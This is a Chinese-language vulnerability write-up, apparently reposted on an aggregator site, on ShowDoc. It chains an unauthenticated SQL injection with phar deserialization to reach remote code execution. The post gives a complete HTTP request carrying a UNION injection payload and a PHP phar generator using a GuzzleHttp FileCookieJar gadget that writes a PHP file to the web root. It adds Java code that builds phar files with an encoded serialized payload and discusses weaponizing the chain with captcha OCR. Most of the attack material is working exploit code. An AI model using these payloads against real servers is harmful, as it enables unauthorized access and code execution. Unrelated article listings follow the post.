showdoc sqli to rce漏洞利用思考

news2024/9/28 7:26:07

漏洞版本

sqli <=3.2.5

phar 反序列化 <=3.2.4

漏洞分析

前台sqli

补丁 https://github.com/star7th/showdoc/commit/84fc28d07c5dfc894f5fbc6e8c42efd13c976fda

补丁对比发现,在server/Application/Api/Controller/ItemController.class.php中将$item_id变量从拼接的方式换成参数绑定的形式,那么可以推断,这个点可能存在sql注入。

图片

在server/Application/Api/Controller/ItemController.class.php的pwd方法中,从请求中拿到item_id参数,并拼接到where条件中执行,并无鉴权,由此可判断为前台sql注入。

图片

但在进入sql注入点之前,会从请求中获取captcha_id和captcha参数,该参数需要传入验证码id及验证码进行验证,所以,每次触发注入之前,都需要提交一次验证码。

图片

验证码的逻辑是根据captcha_id从Captcha表中获取未超时的验证码进行比对,验证过后,会将验证码设置为过期状态。

图片

完整拼接的sql语句

SELECT * FROM item WHERE ( item_id = '1' ) LIMIT 1

图片

$password 和 $refer_url 参数都可控,可通过联合查询控制password的值满足条件返回$refer_url参数值,1') union select 1,2,3,4,5,6,7,8,9,0,11,12 --,6对应的是password字段,所以password参数传递6,条件成立,回显传入$refer_url参数,那么就存在sql注入。

图片

图片

POST /server/index.php?s=/Api/Item/pwd HTTP/1.1Host: 172.20.10.1Content-Length: 110Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://127.0.0.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://127.0.0.1/server/index.php?s=/Api/Item/pwdAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9sec-ch-ua: "Google Chrome";v="125", "Chromium";v="125", "Not.A/Brand";v="24"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-fetch-site: same-originsec-fetch-mode: navigatesec-fetch-dest: documentcookie: PHPSESSID=1r419tk5dmut6vs4etuv656t1q; think_language=zh-CN; XDEBUG_SESSION=XDEBUG_ECLIPSEx-forwarded-for: 127.0.0.1x-originating-ip: 127.0.0.1x-remote-ip: 127.0.0.1x-remote-addr: 127.0.0.1Connection: close
captcha=8856&captcha_id=87&item_id=1')+union+select+1,2,3,4,5,6,7,8,9,0,11,12+--&password=6&refer_url=aGVsbG8=

图片

sqli获取token

鉴权是通过调用server/Application/Api/Controller/BaseController.class.php的checkLogin方法来进行验证。

图片

图片

未登录时,会从请求中拿到user_token参数,再通过user_token在UserToken表中查询,验证是否超时,将未超时记录的uid字段拿到User表中查询,最后将返回的$login_user设置到Session中。

那么只需要通过注入获取到UserToken表中未超时的token,那么就可以通过该token访问后台接口。

phar反序列化rce

补丁

https://github.com/star7th/showdoc/commit/805983518081660594d752573273b8fb5cbbdb30

补丁将new_is_writeable方法的访问权限从public设置为private。

图片

在server/Application/Home/Controller/IndexController.class.php的new_is_writeable方法中。该处调用了is_dir,并且$file可控,熟悉phar反序列化的朋友都知道,is_dir函数可协议可控的情况下可触发反序列化。

图片

有了触发反序列化的点,还需要找到一条利用链,Thinkphp环境中用到GuzzleHttp,GuzzleHttp\Cookie\FileCookieJar的__destruct方法可保存文件。

图片

图片

网上已经有很多分析,这里直接给出生成phar的exp。

<?php
  namespace GuzzleHttp\Cookie {  class CookieJar  {  private $cookies;  public function __construct()  {    $this->cookies = array(new SetCookie());  }private $strictMode;}class FileCookieJar extends CookieJar  {    private $filename = "E:\\Tools\\Env\\phpstudy_pro\\WWW\\showdoc-3.2.4\\server\\test.php";    private $storeSessionCookies = true;  }class SetCookie  {    private $data = array('Expires' => '<?php phpinfo(); ?>');  }}namespace {  $phar = new Phar("phar.phar"); //后缀名必须为phar  $phar->startBuffering();  $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub  $o = new \GuzzleHttp\Cookie\FileCookieJar();  $phar->setMetadata($o); //将⾃定义的meta-data存⼊manifest  $phar->addFromString("test.txt", "test"); //添加要压缩的⽂件  //签名⾃动计算  $phar->stopBuffering();
}

生成exp时,写入的路径需要指定绝对路径,在docker中部署的默认为/var/www/html,其他则可以通过访问时指定一个不存在的模块报错拿到绝对路径。

图片

后续利用,找到一个上传且知道路径的点,将生成的phar文件改成png进行上传。

图片

访问返回的链接,可获取上传文件的路径。

图片

调用new_is_writeable方法,通过phar://访问文件触发反序列化。

图片

图片

武器化利用思考

在java环境下,对该漏洞进行武器化时,考虑到两点情况,一个是在通过sqli获取token时,需要对验证码进行识别,目前网上已经有师傅移植了ddddocr。

https://github.com/BreathofWild/ddddocr-java8 

另一个是在使用exp生成phar文件时,需要指定写入文件的绝对路径以及内容,在java下没找到可以直接生成phar文件的方法,没法动态生成phar文件,对phar文档格式解析,实现一个可在java环境下指定反序列化数据来生成phar文件的方法。

phar文档格式解析

通过php生成一个phar文件,用010 Editor 打开,通过官网文档对phar格式说明,解析phar的文件。

https://www.php.net/manual/zh/phar.fileformat.ingredients.php

phar文档分为四个部分:Stub、manifest、contents、signature

Stub

就是一个php文件,用于标识该文件为phar文件,该文件内容必须以来结尾 ,感觉类似于文件头。

图片

manifest

这个部分不同区间指定了一些信息,其中就包含了反序列化的数据。

https://www.php.net/manual/zh/phar.fileformat.phar.php

1 - 4(bytes) 存放的是整个 manifest 的长度,01C7转换为10进制为455,代表整个manifest 的长度455。

图片

5 - 8 (bytes) Phar 中的文件数 也就是 contents 中的文件数 ,有一个文件。

图片

9-10 存放的是 API version 版本。

图片

11-14 Global Phar bitmapped flags。

图片

15 - 18 如果有别名,那么该区间存放的是别名长度,这里不存在别名。

图片

19 - 22 元数据长度 0191 转十进制 401 代表元数据长度为 401。

图片

22-?元数据,元数据中存放的就是反序列化的数据。

图片

contents

这个部分可有可无,是 manifest 第二个区间指定的一个内容,官网没有具体说明,漏洞利用时也不会用到。

signature

actual signature

这个部分存放签名内容。签名的方式不同,签名的长度也不一样,SHA1 签名为 20 字节,MD5 签名为 16 字节,SHA256 签名为 32 字节,SHA512 签名为 64 字节。OPENSSL 签名的长度取决于私钥的大小。

ignature flags (4 bytes)

这个部分标识签名的算法, 0x0001 用于定义 MD5 签名, 0x0002 用于定义 SHA1 签名, 0x0003 用于定义 SHA256 签名, 0x0004 用于定义 SHA512 签名。0x0010 用于定义 OPENSSL 签名。

GBMB (4 bytes)

Magic GBMB

签名算法为 02,使用的即是SHA1签名。

图片

签名的长度为 20 字节。

图片

通过对整个phar文件格式进行解析,发现大部分字段都是固定不变的。需要变化的字段有:

1、manifest 的长度

2、manifest 中元数据

3、manifest 中的 元数据长度

4、signature flag 签名算法

5、signature 签名数据

java生成 phar文件

最终构造得到:

package org.example;
import com.sun.org.apache.xml.internal.security.exceptions.Base64DecodingException;import com.sun.org.apache.xml.internal.security.utils.Base64;
import java.io.ByteArrayOutputStream;import java.io.FileOutputStream;import java.io.IOException;import java.nio.ByteBuffer;import java.nio.charset.StandardCharsets;import java.security.MessageDigest;import java.security.NoSuchAlgorithmException;

public class App {    public static void main( String[] args ) throws IOException, Base64DecodingException {        final FileOutputStream fileOutputStream = new FileOutputStream("phar.phar");        final byte[] decode = Base64.decode("TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czo0MToiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAZmlsZW5hbWUiO3M6ODoidGVzdC5waHAiO3M6NTI6IgBHdXp6bGVIdHRwXENvb2tpZVxGaWxlQ29va2llSmFyAHN0b3JlU2Vzc2lvbkNvb2tpZXMiO2I6MTtzOjM2OiIAR3V6emxlSHR0cFxDb29raWVcQ29va2llSmFyAGNvb2tpZXMiO2E6MTp7aTowO086Mjc6Ikd1enpsZUh0dHBcQ29va2llXFNldENvb2tpZSI6MTp7czozMzoiAEd1enpsZUh0dHBcQ29va2llXFNldENvb2tpZQBkYXRhIjthOjE6e3M6NzoiRXhwaXJlcyI7czoxOToiPD9waHAgcGhwaW5mbygpOyA/PiI7fX19czozOToiAEd1enpsZUh0dHBcQ29va2llXENvb2tpZUphcgBzdHJpY3RNb2RlIjtOO30=");        final String s = new String(decode);        fileOutputStream.write(GeneratePharFilebyte(s, 2));        fileOutputStream.close();    }
    public static byte[] GeneratePharFilebyte(String payload, int hashMode) {        // 添加 stub        String stubStr = "GIF89a<?php __HALT_COMPILER(); ?>\r\n";        byte[] stubByte = stubStr.getBytes(StandardCharsets.UTF_8);        // 长度 14        byte[] manifestMid = {(byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,  (byte) 0x11, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00};        // 反序列化数据        byte[] SerializationByte = payload.getBytes(StandardCharsets.UTF_8);
        // 文件数据        byte[] fileByte = {(byte) 0x08, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x74, (byte) 0x65, (byte) 0x73, (byte) 0x74, (byte) 0x2E, (byte) 0x74, (byte) 0x78, (byte) 0x74, (byte) 0x04, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0xF7, (byte) 0x02, (byte) 0x63, (byte) 0x66, (byte) 0x04, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x0C,(byte) 0x7E, (byte) 0x7F, (byte) 0xD8, (byte) 0xB6, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x74, (byte) 0x65, (byte) 0x73, (byte) 0x74};
        // Signature        // 2. 签名标志        ByteBuffer signaturebuffer = ByteBuffer.allocate(4);        signaturebuffer.putInt(hashMode);        byte[] signatureFlag = signaturebuffer.array();        // GBMB        byte[] gbgm = {(byte) 0x47, (byte) 0x42, (byte) 0x4D, (byte) 0x42};

        // 计算反序列化数据长度        ByteBuffer Seriabuffer = ByteBuffer.allocate(4);        Seriabuffer.putInt(SerializationByte.length);        byte[] SeriaLength = Seriabuffer.array();
        // 计算总长度        int length = manifestMid.length + SerializationByte.length + fileByte.length;        ByteBuffer buffer = ByteBuffer.allocate(4);        buffer.putInt(length);        byte[] manifestLength = buffer.array();

        try {            final ByteArrayOutputStream baos = new ByteArrayOutputStream();            // 添加 stub            baos.write(stubByte);
            // 添加manifest 总长度            reverseBytes(manifestLength);            baos.write(manifestLength);
            // 添加 manifestMid            baos.write(manifestMid);
            // 添加反序列化数据长度            reverseBytes(SeriaLength);            baos.write(SeriaLength);
            // 添加反序列化数据            baos.write(SerializationByte);
            // 添加文件            baos.write(fileByte);
            // 添加signature            // 计算 signature            if (hashMode == 1){ // md5                MessageDigest md5Digest = MessageDigest.getInstance("MD5");                byte[] md5Bytes = md5Digest.digest(baos.toByteArray());                baos.write(md5Bytes);            } else if (hashMode == 2) { // sha1                MessageDigest sha1Digest = MessageDigest.getInstance("SHA-1");                sha1Digest.update(baos.toByteArray());                byte[] hashBytes = sha1Digest.digest();                baos.write(hashBytes);            } else if (hashMode == 3) { // SHA256                MessageDigest sha256Digest = MessageDigest.getInstance("SHA-256");                sha256Digest.update(baos.toByteArray());                byte[] hashBytes = sha256Digest.digest();                baos.write(hashBytes);            }else if (hashMode == 4) { // SHA512                MessageDigest sha512Digest = MessageDigest.getInstance("SHA-512");                sha512Digest.update(baos.toByteArray());                byte[] hashBytes = sha512Digest.digest();                baos.write(hashBytes);            }

            // 添加签名标志            reverseBytes(signatureFlag);            baos.write(signatureFlag);
            // 添加            baos.write(gbgm);
            return baos.toByteArray();

        } catch (IOException e) {            throw new RuntimeException(e);        } catch (NoSuchAlgorithmException e) {            throw new RuntimeException(e);        }    }
    public static void reverseBytes(byte[] bytes) {        int left = 0;        int right = bytes.length - 1;
        while (left < right) {            // 交换左右两端的元素            byte temp = bytes[left];            bytes[left] = bytes[right];            bytes[right] = temp;
            // 移动左右指针            left++;            right--;        }    }}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1919820.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Java--抽象类

1.抽象--abstract 2.不能对抽象类进行实例化&#xff0c;也就是不能new这个抽象类 3.抽象类的应用&#xff0c;就是在class前加入abstract这个单词&#xff0c;同理抽象方法也是在void前加入abstract 4.在抽象类中可以写普通方法&#xff0c;但抽象方法只能写在抽象类中 5.…

Linux账号和权限管理详解

Linux系统中安装和管理程序 太详细了 &#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的…

婚恋交友语音交友小程序APP系统开发

在数字化时代&#xff0c;婚恋交友的方式也日益多样化。传统的相亲、朋友介绍等方式已经无法满足现代人快节毒的生活需求&#xff0c;更多的人开始选择通过线上平台寻找自己的另-婚恋交友语音交友小程序APP应运而生&#xff0c;为单身男女提供了个便捷、高效的交友平台。本文将…

vue使用quill编辑器自定义附件上传方法,并根据上传附件名称生成链接

1、附件上传 需求&#xff1a; 在编辑器中上传word,pdf,excel等附件后&#xff0c;能根据上传附件的名称生成link链接&#xff0c;在展示页面能实现点击链接下载或预览附件&#xff0c;效果图如下: 实现方法&#xff1a; quill编辑器自身带有link&#xff0c;但不满足需求&…

探索【Python面向对象】编程:新时代的高级编程范式详解

目录 1. 面向对象编程概念&#xff08;OOP&#xff09; 1.1 什么是类和对象&#xff1f; 1.2 类的定义 1.3 类和对象的关系 1.4 小李的理解 2. 抽象 2.1 抽象的概念 2.2 抽象类和方法 2.3 小李的理解 3. 类和实例 3.1 类的定义和实例化 3.2 类的属性和方法 3.3 小…

[Linux][Shell][Shell逻辑控制]详细讲解

目录 1.if 判断1.if-then2.if-then-else3.elif4.case5.实际上手 2.条件测试0.事前说明1.test 命令2.[]3.双括号1.(())2.[[]] 4.实际上手 3.循环1.for2.while3.until命令4.控制循环1.break2.continue 5.处理循环的输出 1.if 判断 1.if-then 语法&#xff1a;if command thenco…

Java技术栈总结:容器集合篇

一、List 1、ArrayList &#xff08;1&#xff09;底层数据结构 底层数据结构为数组。数组是一种用连续的内存空间存储相同数据类型数据的线性数据结构。 Q&#xff1a;为什么数组索引下标从0开始&#xff1f; A&#xff1a;从0开始&#xff0c;对应寻址公式&#xff1a;a[i]…

FLStudio21.3.12中文破解版本安装包win+mac电脑安装包下载

&#x1f3a4; FL Studio 21中文版&#xff1a;音乐制作新宠&#xff0c;让你的创作起飞&#xff01; 嗨&#xff0c;亲爱的音乐创作者们&#xff01;&#x1f44b;今天要和大家分享一个让我超级兴奋的宝藏软件——FL Studio 21中文版&#xff01;这不仅仅是一款音乐制作软件&…

科研绘图系列:R语言金字塔图(pyramid plot)

介绍 金字塔图(Pyramid chart)是一种用于展示人口统计数据的图表,特别是用于展示不同年龄段的人口数量。这种图表通常用于展示人口结构,比如性别和年龄的分布。 特点: 年龄分层:金字塔图按年龄分层,每一层代表一个年龄组。性别区分:通常,男性和女性的数据会被分别展…

Linux命令-grep/wc/管道符

1、Linux命令-grep/wc/管道符 2、echo/tail/重定向符 3、vi/vim 编辑器

有哪些好用的考勤管理系统?

&#x1f308; 对于企业而言&#xff0c;考勤管理不仅仅是支持员工工资计算&#xff0c;还会对实际的运营产生很大影响。一个好用的考勤管理系统能够实现考勤数据的实时采集和管理&#xff0c;保证考勤数据的稳定运行&#xff0c;从而实现复杂的工作安排&#xff0c;有效降低人…

uniapp上架到appstore遇到的问题

1、appstore在美国审核&#xff0c;需要把服务器接口的国外访问权限放开 2、登陆部分 a、审核时只能有密码登陆&#xff0c;可以通过接口响应参数将其他登陆方式暂时隐藏&#xff0c;审核成功后放开即可 b、需要有账号注销功能 3、使用照相机和相册功能时需要写清楚描述文案

具有 0.5V 超低输入电压的 3A 升压转换器TPS61021

1 特性 输入电压范围&#xff1a;0.5V 至 4.4V 启动时的最小输入电压为 0.9V 可设置的输出电压范围&#xff1a;1.8V 到 4.0V 效率高达 91%&#xff08;VIN 2.4V、VOUT 3.3V 且 IOUT 1.5A 时&#xff09; 2.0MHz 开关频率 IOUT > 1.5A&#xff0c;VOUT 3.3V&#xff08;V…

OSINT 项目:以太坊可视化工具

KennBro &#xff0c; iKy的开发者&#xff0c;正在构建一个令人兴奋的新工具。 他使用来自Etherscan区块浏览器的信息为以太坊创建了一个可视化浏览器。 使用免费的 API 密钥和此工具&#xff0c;您可以直观地了解交易和钱包。 我还没有时间自己安装它来测试它&#xff0c;…

Simscape物理建模步骤

为了介绍构建和仿真物理模型的步骤&#xff0c;这里以simulink自带示例模型Mass-Spring-Damper with Controller为例&#xff0c;下图为建立好的模型。 详细物理建模和仿真分析步骤如下&#xff1a; 步骤 1&#xff1a;使用 ssc_new 创建新模型 使用 ssc_new 是开始构建 Sims…

linux系统操作/基本命令/vim/权限修改/用户建立

Linux的目录结构&#xff1a; 一&#xff1a;在Linux系统中&#xff0c;路径之间的层级关系&#xff0c;使用:/来表示 注意:1、开头的/表示根目录 2、后面的/表示层级关系 二&#xff1a;在windows系统中&#xff0c;路径之间的层级关系&#xff0c;使用:\来表示 注意:1、D:表示…

职业本科计算机网络实训室

一、职业本科计算机网络实训室建设的背景 随着数字化时代的深入发展&#xff0c;计算机网络技术已经渗透到社会的每一个角落&#xff0c;成为推动社会进步的重要力量。在《中华人民共和国国民经济和社会发展第十四个五年规划和2035年远景目标纲要》中&#xff0c;建设数字中国…

2972.力扣每日一题7/11 Java(击败100%)

博客主页&#xff1a;音符犹如代码系列专栏&#xff1a;算法练习关注博主&#xff0c;后期持续更新系列文章如果有错误感谢请大家批评指出&#xff0c;及时修改感谢大家点赞&#x1f44d;收藏⭐评论✍ 目录 解题思路 解题方法 时间复杂度 空间复杂度 Code 解题思路 该问…

vscode编译环境配置-c++

1. 支持跳转 安装c/c扩展 安装后即可支持跳转

Elasticsearch:介绍 retrievers - 搜索一切事物

作者&#xff1a;来自 Elastic Jeff Vestal, Jack Conradson 在 8.14 中&#xff0c;Elastic 在 Elasticsearch 中引入了一项名为 “retrievers - 检索器” 的新搜索功能。继续阅读以了解它们的简单性和效率&#xff0c;以及它们如何增强你的搜索操作。 检索器是 Elasticsearc…